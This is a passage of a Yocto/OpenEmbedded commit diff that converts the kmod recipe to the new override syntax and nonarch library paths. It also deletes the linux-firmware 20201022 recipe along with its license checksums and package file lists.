+ install -dm755 ${D}${nonarch_base_libdir}/modprobe.d
install -dm755 ${D}${sysconfdir}/depmod.d
install -dm755 ${D}${sysconfdir}/modprobe.d
# install depmod.d file for search/ dir
- install -Dm644 "${WORKDIR}/depmod-search.conf" "${D}${base_libdir}/depmod.d/search.conf"
+ install -Dm644 "${WORKDIR}/depmod-search.conf" "${D}${nonarch_base_libdir}/depmod.d/search.conf"
}
-do_compile_prepend() {
+do_compile:prepend() {
sed -i 's/ac_pwd=/#ac_pwd=/' config.status ; sed -i "/#ac_pwd=/a\ac_pwd='.'" config.status
}
@@ -41,7 +41,7 @@ inherit update-alternatives bash-completion
ALTERNATIVE_PRIORITY = "70"
-ALTERNATIVE_kmod = "insmod modprobe rmmod modinfo bin-lsmod lsmod depmod"
+ALTERNATIVE:kmod = "insmod modprobe rmmod modinfo bin-lsmod lsmod depmod"
ALTERNATIVE_LINK_NAME[insmod] = "${base_sbindir}/insmod"
ALTERNATIVE_LINK_NAME[modprobe] = "${base_sbindir}/modprobe"
@@ -56,7 +56,7 @@ ALTERNATIVE_LINK_NAME[depmod] = "${base_sbindir}/depmod"
PACKAGES =+ "libkmod"
-FILES_libkmod = "${base_libdir}/libkmod*${SOLIBS} ${libdir}/libkmod*${SOLIBS}"
-FILES_${PN} += "${base_libdir}/depmod.d ${base_libdir}/modprobe.d"
+FILES:libkmod = "${base_libdir}/libkmod*${SOLIBS} ${libdir}/libkmod*${SOLIBS}"
+FILES:${PN} += "${nonarch_base_libdir}/depmod.d ${nonarch_base_libdir}/modprobe.d"
BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-kernel/linux-firmware/linux-firmware_20201022.bb b/meta/recipes-kernel/linux-firmware/linux-firmware_20201022.bb
deleted file mode 100644
index 93b9d5308a..0000000000
--- a/meta/recipes-kernel/linux-firmware/linux-firmware_20201022.bb
+++ /dev/null
@@ -1,999 +0,0 @@
-SUMMARY = "Firmware files for use with Linux kernel"
-SECTION = "kernel"
-
-LICENSE = "\
- Firmware-Abilis \
- & Firmware-adsp_sst \
- & Firmware-agere \
- & Firmware-amdgpu \
- & Firmware-amd-ucode \
- & Firmware-amlogic_vdec \
- & Firmware-atheros_firmware \
- & Firmware-atmel \
- & Firmware-broadcom_bcm43xx \
- & Firmware-ca0132 \
- & Firmware-cavium \
- & Firmware-chelsio_firmware \
- & Firmware-cw1200 \
- & Firmware-cypress \
- & Firmware-dib0700 \
- & Firmware-e100 \
- & Firmware-ene_firmware \
- & Firmware-fw_sst_0f28 \
- & Firmware-go7007 \
- & Firmware-GPLv2 \
- & Firmware-hfi1_firmware \
- & Firmware-i2400m \
- & Firmware-i915 \
- & Firmware-ibt_firmware \
- & Firmware-ice \
- & Firmware-it913x \
- & Firmware-iwlwifi_firmware \
- & Firmware-IntcSST2 \
- & Firmware-kaweth \
- & Firmware-Marvell \
- & Firmware-moxa \
- & Firmware-myri10ge_firmware \
- & Firmware-netronome \
- & Firmware-nvidia \
- & Firmware-OLPC \
- & Firmware-ath9k-htc \
- & Firmware-phanfw \
- & Firmware-qat \
- & Firmware-qcom \
- & Firmware-qla1280 \
- & Firmware-qla2xxx \
- & Firmware-qualcommAthos_ar3k \
- & Firmware-qualcommAthos_ath10k \
- & Firmware-r8a779x_usb3 \
- & Firmware-radeon \
- & Firmware-ralink_a_mediatek_company_firmware \
- & Firmware-ralink-firmware \
- & Firmware-rtlwifi_firmware \
- & Firmware-imx-sdma_firmware \
- & Firmware-siano \
- & Firmware-tda7706-firmware \
- & Firmware-ti-connectivity \
- & Firmware-ti-keystone \
- & Firmware-ueagle-atm4-firmware \
- & Firmware-via_vt6656 \
- & Firmware-wl1251 \
- & Firmware-xc4000 \
- & Firmware-xc5000 \
- & Firmware-xc5000c \
- & WHENCE \
-"
-
-LIC_FILES_CHKSUM = "file://LICENCE.Abilis;md5=b5ee3f410780e56711ad48eadc22b8bc \
- file://LICENCE.adsp_sst;md5=615c45b91a5a4a9fe046d6ab9a2df728 \
- file://LICENCE.agere;md5=af0133de6b4a9b2522defd5f188afd31 \
- file://LICENSE.amdgpu;md5=d357524f5099e2a3db3c1838921c593f \
- file://LICENSE.amd-ucode;md5=3c5399dc9148d7f0e1f41e34b69cf14f \
- file://LICENSE.amlogic_vdec;md5=dc44f59bf64a81643e500ad3f39a468a \
- file://LICENCE.atheros_firmware;md5=30a14c7823beedac9fa39c64fdd01a13 \
- file://LICENSE.atmel;md5=aa74ac0c60595dee4d4e239107ea77a3 \
- file://LICENCE.broadcom_bcm43xx;md5=3160c14df7228891b868060e1951dfbc \
- file://LICENCE.ca0132;md5=209b33e66ee5be0461f13d31da392198 \
- file://LICENCE.cadence;md5=009f46816f6956cfb75ede13d3e1cee0 \
- file://LICENCE.cavium;md5=c37aaffb1ebe5939b2580d073a95daea \
- file://LICENCE.chelsio_firmware;md5=819aa8c3fa453f1b258ed8d168a9d903 \
- file://LICENCE.cw1200;md5=f0f770864e7a8444a5c5aa9d12a3a7ed \
- file://LICENCE.cypress;md5=48cd9436c763bf873961f9ed7b5c147b \
- file://LICENSE.dib0700;md5=f7411825c8a555a1a3e5eab9ca773431 \
- file://LICENCE.e100;md5=ec0f84136766df159a3ae6d02acdf5a8 \
- file://LICENCE.ene_firmware;md5=ed67f0f62f8f798130c296720b7d3921 \
- file://LICENCE.fw_sst_0f28;md5=6353931c988ad52818ae733ac61cd293 \
- file://LICENCE.go7007;md5=c0bb9f6aaaba55b0529ee9b30aa66beb \
- file://GPL-2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://LICENSE.hfi1_firmware;md5=5e7b6e586ce7339d12689e49931ad444 \
- file://LICENCE.i2400m;md5=14b901969e23c41881327c0d9e4b7d36 \
- file://LICENSE.i915;md5=2b0b2e0d20984affd4490ba2cba02570 \
- file://LICENCE.ibt_firmware;md5=fdbee1ddfe0fb7ab0b2fcd6b454a366b \
- file://LICENSE.ice;md5=742ab4850f2670792940e6d15c974b2f \
- file://LICENCE.IntcSST2;md5=9e7d8bea77612d7cc7d9e9b54b623062 \
- file://LICENCE.it913x;md5=1fbf727bfb6a949810c4dbfa7e6ce4f8 \
- file://LICENCE.iwlwifi_firmware;md5=3fd842911ea93c29cd32679aa23e1c88 \
- file://LICENCE.kaweth;md5=b1d876e562f4b3b8d391ad8395dfe03f \
- file://LICENCE.Marvell;md5=28b6ed8bd04ba105af6e4dcd6e997772 \
- file://LICENCE.mediatek;md5=7c1976b63217d76ce47d0a11d8a79cf2 \
- file://LICENCE.moxa;md5=1086614767d8ccf744a923289d3d4261 \
- file://LICENCE.myri10ge_firmware;md5=42e32fb89f6b959ca222e25ac8df8fed \
- file://LICENCE.Netronome;md5=4add08f2577086d44447996503cddf5f \
- file://LICENCE.nvidia;md5=4428a922ed3ba2ceec95f076a488ce07 \
- file://LICENCE.NXP;md5=58bb8ba632cd729b9ba6183bc6aed36f \
- file://LICENCE.OLPC;md5=5b917f9d8c061991be4f6f5f108719cd \
- file://LICENCE.open-ath9k-htc-firmware;md5=1b33c9f4d17bc4d457bdb23727046837 \
- file://LICENCE.phanfw;md5=954dcec0e051f9409812b561ea743bfa \
- file://LICENCE.qat_firmware;md5=9e7d8bea77612d7cc7d9e9b54b623062 \
- file://LICENSE.qcom;md5=164e3362a538eb11d3ac51e8e134294b \
- file://LICENCE.qla1280;md5=d6895732e622d950609093223a2c4f5d \
- file://LICENCE.qla2xxx;md5=505855e921b75f1be4a437ad9b79dff0 \
- file://LICENSE.QualcommAtheros_ar3k;md5=b5fe244fb2b532311de1472a3bc06da5 \
- file://LICENSE.QualcommAtheros_ath10k;md5=cb42b686ee5f5cb890275e4321db60a8 \
- file://LICENCE.r8a779x_usb3;md5=4c1671656153025d7076105a5da7e498 \
- file://LICENSE.radeon;md5=68ec28bacb3613200bca44f404c69b16 \
- file://LICENCE.ralink_a_mediatek_company_firmware;md5=728f1a85fd53fd67fa8d7afb080bc435 \
- file://LICENCE.ralink-firmware.txt;md5=ab2c269277c45476fb449673911a2dfd \
- file://LICENCE.rtlwifi_firmware.txt;md5=00d06cfd3eddd5a2698948ead2ad54a5 \
- file://LICENSE.sdma_firmware;md5=51e8c19ecc2270f4b8ea30341ad63ce9 \
- file://LICENCE.siano;md5=4556c1bf830067f12ca151ad953ec2a5 \
- file://LICENCE.tda7706-firmware.txt;md5=835997cf5e3c131d0dddd695c7d9103e \
- file://LICENCE.ti-connectivity;md5=c5e02be633f1499c109d1652514d85ec \
- file://LICENCE.ti-keystone;md5=3a86335d32864b0bef996bee26cc0f2c \
- file://LICENCE.ueagle-atm4-firmware;md5=4ed7ea6b507ccc583b9d594417714118 \
- file://LICENCE.via_vt6656;md5=e4159694cba42d4377a912e78a6e850f \
- file://LICENCE.wl1251;md5=ad3f81922bb9e197014bb187289d3b5b \
- file://LICENCE.xc4000;md5=0ff51d2dc49fce04814c9155081092f0 \
- file://LICENCE.xc5000;md5=1e170c13175323c32c7f4d0998d53f66 \
- file://LICENCE.xc5000c;md5=12b02efa3049db65d524aeb418dd87ca \
- file://WHENCE;md5=daf28db5d6353de0a886f08106cffa22 \
- "
-
-# These are not common licenses, set NO_GENERIC_LICENSE for them
-# so that the license files will be copied from fetched source
-NO_GENERIC_LICENSE[Firmware-Abilis] = "LICENCE.Abilis"
-NO_GENERIC_LICENSE[Firmware-adsp_sst] = "LICENCE.adsp_sst"
-NO_GENERIC_LICENSE[Firmware-agere] = "LICENCE.agere"
-NO_GENERIC_LICENSE[Firmware-amdgpu] = "LICENSE.amdgpu"
-NO_GENERIC_LICENSE[Firmware-amd-ucode] = "LICENSE.amd-ucode"
-NO_GENERIC_LICENSE[Firmware-amlogic_vdec] = "LICENSE.amlogic_vdec"
-NO_GENERIC_LICENSE[Firmware-atheros_firmware] = "LICENCE.atheros_firmware"
-NO_GENERIC_LICENSE[Firmware-atmel] = "LICENSE.atmel"
-NO_GENERIC_LICENSE[Firmware-broadcom_bcm43xx] = "LICENCE.broadcom_bcm43xx"
-NO_GENERIC_LICENSE[Firmware-ca0132] = "LICENCE.ca0132"
-NO_GENERIC_LICENSE[Firmware-cadence] = "LICENCE.cadence"
-NO_GENERIC_LICENSE[Firmware-cavium] = "LICENCE.cavium"
-NO_GENERIC_LICENSE[Firmware-chelsio_firmware] = "LICENCE.chelsio_firmware"
-NO_GENERIC_LICENSE[Firmware-cw1200] = "LICENCE.cw1200"
-NO_GENERIC_LICENSE[Firmware-cypress] = "LICENCE.cypress"
-NO_GENERIC_LICENSE[Firmware-dib0700] = "LICENSE.dib0700"
-NO_GENERIC_LICENSE[Firmware-e100] = "LICENCE.e100"
-NO_GENERIC_LICENSE[Firmware-ene_firmware] = "LICENCE.ene_firmware"
-NO_GENERIC_LICENSE[Firmware-fw_sst_0f28] = "LICENCE.fw_sst_0f28"
-NO_GENERIC_LICENSE[Firmware-go7007] = "LICENCE.go7007"
-NO_GENERIC_LICENSE[Firmware-GPLv2] = "GPL-2"
-NO_GENERIC_LICENSE[Firmware-hfi1_firmware] = "LICENSE.hfi1_firmware"
-NO_GENERIC_LICENSE[Firmware-i2400m] = "LICENCE.i2400m"
-NO_GENERIC_LICENSE[Firmware-i915] = "LICENSE.i915"
-NO_GENERIC_LICENSE[Firmware-ibt_firmware] = "LICENCE.ibt_firmware"
-NO_GENERIC_LICENSE[Firmware-ice] = "LICENSE.ice"
-NO_GENERIC_LICENSE[Firmware-IntcSST2] = "LICENCE.IntcSST2"
-NO_GENERIC_LICENSE[Firmware-it913x] = "LICENCE.it913x"
-NO_GENERIC_LICENSE[Firmware-iwlwifi_firmware] = "LICENCE.iwlwifi_firmware"
-NO_GENERIC_LICENSE[Firmware-kaweth] = "LICENCE.kaweth"
-NO_GENERIC_LICENSE[Firmware-Marvell] = "LICENCE.Marvell"
-NO_GENERIC_LICENSE[Firmware-mediatek] = "LICENCE.mediatek"
-NO_GENERIC_LICENSE[Firmware-moxa] = "LICENCE.moxa"
-NO_GENERIC_LICENSE[Firmware-myri10ge_firmware] = "LICENCE.myri10ge_firmware"
-NO_GENERIC_LICENSE[Firmware-netronome] = "LICENCE.Netronome"
-NO_GENERIC_LICENSE[Firmware-nvidia] = "LICENCE.nvidia"
-NO_GENERIC_LICENSE[Firmware-OLPC] = "LICENCE.OLPC"
-NO_GENERIC_LICENSE[Firmware-ath9k-htc] = "LICENCE.open-ath9k-htc-firmware"
-NO_GENERIC_LICENSE[Firmware-phanfw] = "LICENCE.phanfw"
-NO_GENERIC_LICENSE[Firmware-qat] = "LICENCE.qat_firmware"
-NO_GENERIC_LICENSE[Firmware-qcom] = "LICENSE.qcom"
-NO_GENERIC_LICENSE[Firmware-qla1280] = "LICENCE.qla1280"
-NO_GENERIC_LICENSE[Firmware-qla2xxx] = "LICENCE.qla2xxx"
-NO_GENERIC_LICENSE[Firmware-qualcommAthos_ar3k] = "LICENSE.QualcommAtheros_ar3k"
-NO_GENERIC_LICENSE[Firmware-qualcommAthos_ath10k] = "LICENSE.QualcommAtheros_ath10k"
-NO_GENERIC_LICENSE[Firmware-r8a779x_usb3] = "LICENCE.r8a779x_usb3"
-NO_GENERIC_LICENSE[Firmware-radeon] = "LICENSE.radeon"
-NO_GENERIC_LICENSE[Firmware-ralink_a_mediatek_company_firmware] = "LICENCE.ralink_a_mediatek_company_firmware"
-NO_GENERIC_LICENSE[Firmware-ralink-firmware] = "LICENCE.ralink-firmware.txt"
-NO_GENERIC_LICENSE[Firmware-rtlwifi_firmware] = "LICENCE.rtlwifi_firmware.txt"
-NO_GENERIC_LICENSE[Firmware-siano] = "LICENCE.siano"
-NO_GENERIC_LICENSE[Firmware-imx-sdma_firmware] = "LICENSE.sdma_firmware"
-NO_GENERIC_LICENSE[Firmware-tda7706-firmware] = "LICENCE.tda7706-firmware.txt"
-NO_GENERIC_LICENSE[Firmware-ti-connectivity] = "LICENCE.ti-connectivity"
-NO_GENERIC_LICENSE[Firmware-ti-keystone] = "LICENCE.ti-keystone"
-NO_GENERIC_LICENSE[Firmware-ueagle-atm4-firmware] = "LICENCE.ueagle-atm4-firmware"
-NO_GENERIC_LICENSE[Firmware-via_vt6656] = "LICENCE.via_vt6656"
-NO_GENERIC_LICENSE[Firmware-wl1251] = "LICENCE.wl1251"
-NO_GENERIC_LICENSE[Firmware-xc4000] = "LICENCE.xc4000"
-NO_GENERIC_LICENSE[Firmware-xc5000] = "LICENCE.xc5000"
-NO_GENERIC_LICENSE[Firmware-xc5000c] = "LICENCE.xc5000c"
-NO_GENERIC_LICENSE[WHENCE] = "WHENCE"
-
-PE = "1"
-
-SRC_URI = "${KERNELORG_MIRROR}/linux/kernel/firmware/${BPN}-${PV}.tar.xz"
-
-SRC_URI[sha256sum] = "bf586e0beb4c65f22bf0a79811f259aa0a5a7cc9f70eebecb260525b6914cef7"
-
-inherit allarch
-
-CLEANBROKEN = "1"
-
-do_compile() {
- :
-}
-
-do_install() {
- oe_runmake 'DESTDIR=${D}' 'FIRMWAREDIR=${nonarch_base_libdir}/firmware' install
- cp GPL-2 LICEN[CS]E.* WHENCE ${D}${nonarch_base_libdir}/firmware/
-}
-
-
-PACKAGES =+ "${PN}-ralink-license ${PN}-ralink \
- ${PN}-mt7601u-license ${PN}-mt7601u \
- ${PN}-radeon-license ${PN}-radeon \
- ${PN}-marvell-license ${PN}-pcie8897 ${PN}-pcie8997 \
- ${PN}-sd8686 ${PN}-sd8688 ${PN}-sd8787 ${PN}-sd8797 ${PN}-sd8801 \
- ${PN}-sd8887 ${PN}-sd8897 ${PN}-sd8997 ${PN}-usb8997 \
- ${PN}-ti-connectivity-license ${PN}-wlcommon ${PN}-wl12xx ${PN}-wl18xx \
- ${PN}-vt6656-license ${PN}-vt6656 \
- ${PN}-rtl-license ${PN}-rtl8188 ${PN}-rtl8192cu ${PN}-rtl8192ce ${PN}-rtl8192su ${PN}-rtl8723 ${PN}-rtl8821 \
- ${PN}-rtl8168 \
- ${PN}-cypress-license \
- ${PN}-broadcom-license \
- ${PN}-bcm-0bb4-0306 \
- ${PN}-bcm43143 \
- ${PN}-bcm43236b \
- ${PN}-bcm43241b0 \
- ${PN}-bcm43241b4 \
- ${PN}-bcm43241b5 \
- ${PN}-bcm43242a \
- ${PN}-bcm4329 \
- ${PN}-bcm4329-fullmac \
- ${PN}-bcm4330 \
- ${PN}-bcm4334 \
- ${PN}-bcm43340 \
- ${PN}-bcm4335 \
- ${PN}-bcm43362 \
- ${PN}-bcm4339 \
- ${PN}-bcm43430 \
- ${PN}-bcm43430a0 \
- ${PN}-bcm43455 \
- ${PN}-bcm4350 \
- ${PN}-bcm4350c2 \
- ${PN}-bcm4354 \
- ${PN}-bcm4356 \
- ${PN}-bcm4356-pcie \
- ${PN}-bcm43569 \
- ${PN}-bcm43570 \
- ${PN}-bcm4358 \
- ${PN}-bcm43602 \
- ${PN}-bcm4366b \
- ${PN}-bcm4366c \
- ${PN}-bcm4371 \
- ${PN}-bcm4373 \
- ${PN}-bcm43xx \
- ${PN}-bcm43xx-hdr \
- ${PN}-atheros-license ${PN}-ar9170 ${PN}-ath6k ${PN}-ath9k \
- ${PN}-gplv2-license ${PN}-carl9170 \
- ${PN}-ar3k-license ${PN}-ar3k ${PN}-ath10k-license ${PN}-ath10k ${PN}-qca \
- \
- ${PN}-imx-sdma-license ${PN}-imx-sdma-imx6q ${PN}-imx-sdma-imx7d \
- \
- ${PN}-iwlwifi-license ${PN}-iwlwifi \
- ${PN}-iwlwifi-135-6 \
- ${PN}-iwlwifi-3160-7 ${PN}-iwlwifi-3160-8 ${PN}-iwlwifi-3160-9 \
- ${PN}-iwlwifi-3160-10 ${PN}-iwlwifi-3160-12 ${PN}-iwlwifi-3160-13 \
- ${PN}-iwlwifi-3160-16 ${PN}-iwlwifi-3160-17 \
- ${PN}-iwlwifi-6000-4 ${PN}-iwlwifi-6000g2a-5 ${PN}-iwlwifi-6000g2a-6 \
- ${PN}-iwlwifi-6000g2b-5 ${PN}-iwlwifi-6000g2b-6 \
- ${PN}-iwlwifi-6050-4 ${PN}-iwlwifi-6050-5 \
- ${PN}-iwlwifi-7260 \
- ${PN}-iwlwifi-7265 \
- ${PN}-iwlwifi-7265d ${PN}-iwlwifi-8000c ${PN}-iwlwifi-8265 \
- ${PN}-iwlwifi-9000 \
- ${PN}-iwlwifi-misc \
- ${PN}-ibt-license ${PN}-ibt \
- ${PN}-ibt-11-5 ${PN}-ibt-12-16 ${PN}-ibt-hw-37-7 ${PN}-ibt-hw-37-8 \
- ${PN}-ibt-17 \
- ${PN}-ibt-20 \
- ${PN}-ibt-misc \
- ${PN}-i915-license ${PN}-i915 \
- ${PN}-ice-license ${PN}-ice \
- ${PN}-adsp-sst-license ${PN}-adsp-sst \
- ${PN}-bnx2-mips \
- ${PN}-liquidio \
- ${PN}-nvidia-license \
- ${PN}-nvidia-tegra-k1 ${PN}-nvidia-tegra \
- ${PN}-nvidia-gpu \
- ${PN}-netronome-license ${PN}-netronome \
- ${PN}-qat ${PN}-qat-license \
- ${PN}-qcom-license \
- ${PN}-qcom-venus-1.8 ${PN}-qcom-venus-4.2 ${PN}-qcom-venus-5.2 ${PN}-qcom-venus-5.4 \
- ${PN}-qcom-adreno-a3xx ${PN}-qcom-adreno-a530 ${PN}-qcom-adreno-a630 \
- ${PN}-qcom-sdm845-audio ${PN}-qcom-sdm845-compute ${PN}-qcom-sdm845-modem \
- ${PN}-amlogic-vdec-license ${PN}-amlogic-vdec \
- ${PN}-whence-license \
- ${PN}-license \
- "
-
-# For atheros
-LICENSE_${PN}-ar9170 = "Firmware-atheros_firmware"
-LICENSE_${PN}-ath6k = "Firmware-atheros_firmware"
-LICENSE_${PN}-ath9k = "Firmware-atheros_firmware"
-LICENSE_${PN}-atheros-license = "Firmware-atheros_firmware"
-
-FILES_${PN}-atheros-license = "${nonarch_base_libdir}/firmware/LICENCE.atheros_firmware"
-FILES_${PN}-ar9170 = " \
- ${nonarch_base_libdir}/firmware/ar9170*.fw \
-"
-FILES_${PN}-ath6k = " \
- ${nonarch_base_libdir}/firmware/ath6k \
-"
-FILES_${PN}-ath9k = " \
- ${nonarch_base_libdir}/firmware/ar9271.fw \
- ${nonarch_base_libdir}/firmware/ar7010*.fw \
- ${nonarch_base_libdir}/firmware/htc_9271.fw \
- ${nonarch_base_libdir}/firmware/htc_7010.fw \
- ${nonarch_base_libdir}/firmware/ath9k_htc/htc_7010-1.4.0.fw \
- ${nonarch_base_libdir}/firmware/ath9k_htc/htc_9271-1.4.0.fw \
-"
-
-RDEPENDS_${PN}-ar9170 += "${PN}-atheros-license"
-RDEPENDS_${PN}-ath6k += "${PN}-atheros-license"
-RDEPENDS_${PN}-ath9k += "${PN}-atheros-license"
-
-# For carl9170
-LICENSE_${PN}-carl9170 = "Firmware-GPLv2"
-LICENSE_${PN}-gplv2-license = "Firmware-GPLv2"
-
-FILES_${PN}-gplv2-license = "${nonarch_base_libdir}/firmware/GPL-2"
-FILES_${PN}-carl9170 = " \
- ${nonarch_base_libdir}/firmware/carl9170*.fw \
-"
-
-RDEPENDS_${PN}-carl9170 += "${PN}-gplv2-license"
-
-# For QualCommAthos
-LICENSE_${PN}-ar3k = "Firmware-qualcommAthos_ar3k"
-LICENSE_${PN}-ar3k-license = "Firmware-qualcommAthos_ar3k"
-LICENSE_${PN}-ath10k = "Firmware-qualcommAthos_ath10k"
-LICENSE_${PN}-ath10k-license = "Firmware-qualcommAthos_ath10k"
-LICENSE_${PN}-qca = "Firmware-qualcommAthos_ath10k"
-
-FILES_${PN}-ar3k-license = "${nonarch_base_libdir}/firmware/LICENSE.QualcommAtheros_ar3k"
-FILES_${PN}-ar3k = " \
- ${nonarch_base_libdir}/firmware/ar3k \
-"
-
-FILES_${PN}-ath10k-license = "${nonarch_base_libdir}/firmware/LICENSE.QualcommAtheros_ath10k"
-FILES_${PN}-ath10k = " \
- ${nonarch_base_libdir}/firmware/ath10k \
-"
-
-FILES_${PN}-qca = " \
- ${nonarch_base_libdir}/firmware/qca \
-"
-
-RDEPENDS_${PN}-ar3k += "${PN}-ar3k-license"
-RDEPENDS_${PN}-ath10k += "${PN}-ath10k-license"
-RDEPENDS_${PN}-qca += "${PN}-ath10k-license"
-
-# For ralink
-LICENSE_${PN}-ralink = "Firmware-ralink-firmware"
-LICENSE_${PN}-ralink-license = "Firmware-ralink-firmware"
-
-FILES_${PN}-ralink-license = "${nonarch_base_libdir}/firmware/LICENCE.ralink-firmware.txt"
-FILES_${PN}-ralink = " \
- ${nonarch_base_libdir}/firmware/rt*.bin \
-"
-
-RDEPENDS_${PN}-ralink += "${PN}-ralink-license"
-
-# For mediatek MT7601U
-LICENSE_${PN}-mt7601u = "Firmware-ralink_a_mediatek_company_firmware"
-LICENSE_${PN}-mt7601u-license = "Firmware-ralink_a_mediatek_company_firmware"
-
-FILES_${PN}-mt7601u-license = "${nonarch_base_libdir}/firmware/LICENCE.ralink_a_mediatek_company_firmware"
-FILES_${PN}-mt7601u = " \
- ${nonarch_base_libdir}/firmware/mt7601u.bin \
-"
-
-RDEPENDS_${PN}-mt7601u += "${PN}-mt7601u-license"
-
-# For radeon
-LICENSE_${PN}-radeon = "Firmware-radeon"
-LICENSE_${PN}-radeon-license = "Firmware-radeon"
-
-FILES_${PN}-radeon-license = "${nonarch_base_libdir}/firmware/LICENSE.radeon"
-FILES_${PN}-radeon = " \
- ${nonarch_base_libdir}/firmware/radeon \
-"
-
-RDEPENDS_${PN}-radeon += "${PN}-radeon-license"
-
-# For marvell
-LICENSE_${PN}-pcie8897 = "Firmware-Marvell"
-LICENSE_${PN}-pcie8997 = "Firmware-Marvell"
-LICENSE_${PN}-sd8686 = "Firmware-Marvell"
-LICENSE_${PN}-sd8688 = "Firmware-Marvell"
-LICENSE_${PN}-sd8787 = "Firmware-Marvell"
-LICENSE_${PN}-sd8797 = "Firmware-Marvell"
-LICENSE_${PN}-sd8801 = "Firmware-Marvell"
-LICENSE_${PN}-sd8887 = "Firmware-Marvell"
-LICENSE_${PN}-sd8897 = "Firmware-Marvell"
-LICENSE_${PN}-sd8997 = "Firmware-Marvell"
-LICENSE_${PN}-usb8997 = "Firmware-Marvell"
-LICENSE_${PN}-marvell-license = "Firmware-Marvell"
-
-FILES_${PN}-marvell-license = "${nonarch_base_libdir}/firmware/LICENCE.Marvell"
-FILES_${PN}-pcie8897 = " \
- ${nonarch_base_libdir}/firmware/mrvl/pcie8897_uapsta.bin \
-"
-FILES_${PN}-pcie8997 = " \
- ${nonarch_base_libdir}/firmware/mrvl/pcie8997_wlan_v4.bin \
- ${nonarch_base_libdir}/firmware/mrvl/pcieuart8997_combo_v4.bin \
- ${nonarch_base_libdir}/firmware/mrvl/pcieusb8997_combo_v4.bin \
-"
-FILES_${PN}-sd8686 = " \
- ${nonarch_base_libdir}/firmware/libertas/sd8686_v9* \
- ${nonarch_base_libdir}/firmware/sd8686* \
-"
-FILES_${PN}-sd8688 = " \
- ${nonarch_base_libdir}/firmware/libertas/sd8688* \
- ${nonarch_base_libdir}/firmware/mrvl/sd8688* \
-"
-FILES_${PN}-sd8787 = " \
- ${nonarch_base_libdir}/firmware/mrvl/sd8787_uapsta.bin \
-"
-FILES_${PN}-sd8797 = " \
- ${nonarch_base_libdir}/firmware/mrvl/sd8797_uapsta.bin \
-"
-FILES_${PN}-sd8801 = " \
- ${nonarch_base_libdir}/firmware/mrvl/sd8801_uapsta.bin \
-"
-FILES_${PN}-sd8887 = " \
- ${nonarch_base_libdir}/firmware/mrvl/sd8887_uapsta.bin \
-"
-FILES_${PN}-sd8897 = " \
- ${nonarch_base_libdir}/firmware/mrvl/sd8897_uapsta.bin \
-"
-do_install_append() {
- # The kernel 5.6.x driver still uses the old name, provide a symlink for
- # older kernels
- ln -fs sdsd8997_combo_v4.bin ${D}${nonarch_base_libdir}/firmware/mrvl/sd8997_uapsta.bin
-}
-FILES_${PN}-sd8997 = " \
- ${nonarch_base_libdir}/firmware/mrvl/sd8997_uapsta.bin \
- ${nonarch_base_libdir}/firmware/mrvl/sdsd8997_combo_v4.bin \
-"
-FILES_${PN}-usb8997 = " \
- ${nonarch_base_libdir}/firmware/mrvl/usbusb8997_combo_v4.bin \
-"
-
-RDEPENDS_${PN}-sd8686 += "${PN}-marvell-license"
-RDEPENDS_${PN}-sd8688 += "${PN}-marvell-license"
-RDEPENDS_${PN}-sd8787 += "${PN}-marvell-license"
-RDEPENDS_${PN}-sd8797 += "${PN}-marvell-license"
-RDEPENDS_${PN}-sd8801 += "${PN}-marvell-license"
-RDEPENDS_${PN}-sd8887 += "${PN}-marvell-license"
-RDEPENDS_${PN}-sd8897 += "${PN}-marvell-license"
-RDEPENDS_${PN}-sd8997 += "${PN}-marvell-license"
-RDEPENDS_${PN}-usb8997 += "${PN}-marvell-license"
-
-# For netronome
-LICENSE_${PN}-netronome = "Firmware-netronome"
-
-FILES_${PN}-netronome-license = " \
- ${nonarch_base_libdir}/firmware/LICENCE.Netronome \
-"
-FILES_${PN}-netronome = " \
- ${nonarch_base_libdir}/firmware/netronome/nic_AMDA0081*.nffw \
- ${nonarch_base_libdir}/firmware/netronome/nic_AMDA0096*.nffw \
- ${nonarch_base_libdir}/firmware/netronome/nic_AMDA0097*.nffw \
- ${nonarch_base_libdir}/firmware/netronome/nic_AMDA0099*.nffw \
-"
-
-RDEPENDS_${PN}-netronome += "${PN}-netronome-license"
-
-# For Nvidia
-LICENSE_${PN}-nvidia-gpu = "Firmware-nvidia"
-LICENSE_${PN}-nvidia-tegra = "Firmware-nvidia"
-LICENSE_${PN}-nvidia-tegra-k1 = "Firmware-nvidia"
-LICENSE_${PN}-nvidia-license = "Firmware-nvidia"
-
-FILES_${PN}-nvidia-gpu = "${nonarch_base_libdir}/firmware/nvidia"
-FILES_${PN}-nvidia-tegra = " \
- ${nonarch_base_libdir}/firmware/nvidia/tegra* \
- ${nonarch_base_libdir}/firmware/nvidia/gm20b \
- ${nonarch_base_libdir}/firmware/nvidia/gp10b \
-"
-FILES_${PN}-nvidia-tegra-k1 = " \
- ${nonarch_base_libdir}/firmware/nvidia/tegra124 \
- ${nonarch_base_libdir}/firmware/nvidia/gk20a \
-"
-FILES_${PN}-nvidia-license = "${nonarch_base_libdir}/firmware/LICENCE.nvidia"
-
-RDEPENDS_${PN}-nvidia-gpu += "${PN}-nvidia-license"
-RDEPENDS_${PN}-nvidia-tegra += "${PN}-nvidia-license"
-RDEPENDS_${PN}-nvidia-tegra-k1 += "${PN}-nvidia-license"
-
-# For rtl
-LICENSE_${PN}-rtl8188 = "Firmware-rtlwifi_firmware"
-LICENSE_${PN}-rtl8192cu = "Firmware-rtlwifi_firmware"
-LICENSE_${PN}-rtl8192ce = "Firmware-rtlwifi_firmware"
-LICENSE_${PN}-rtl8192su = "Firmware-rtlwifi_firmware"
-LICENSE_${PN}-rtl8723 = "Firmware-rtlwifi_firmware"
-LICENSE_${PN}-rtl8821 = "Firmware-rtlwifi_firmware"
-LICENSE_${PN}-rtl-license = "Firmware-rtlwifi_firmware"
-LICENSE_${PN}-rtl8168 = "WHENCE"
-
-FILES_${PN}-rtl-license = " \
- ${nonarch_base_libdir}/firmware/LICENCE.rtlwifi_firmware.txt \
-"
-FILES_${PN}-rtl8188 = " \
- ${nonarch_base_libdir}/firmware/rtlwifi/rtl8188*.bin \
-"
-FILES_${PN}-rtl8192cu = " \
- ${nonarch_base_libdir}/firmware/rtlwifi/rtl8192cufw*.bin \
-"
-FILES_${PN}-rtl8192ce = " \
- ${nonarch_base_libdir}/firmware/rtlwifi/rtl8192cfw*.bin \
-"
-FILES_${PN}-rtl8192su = " \
- ${nonarch_base_libdir}/firmware/rtlwifi/rtl8712u.bin \
-"
-FILES_${PN}-rtl8723 = " \
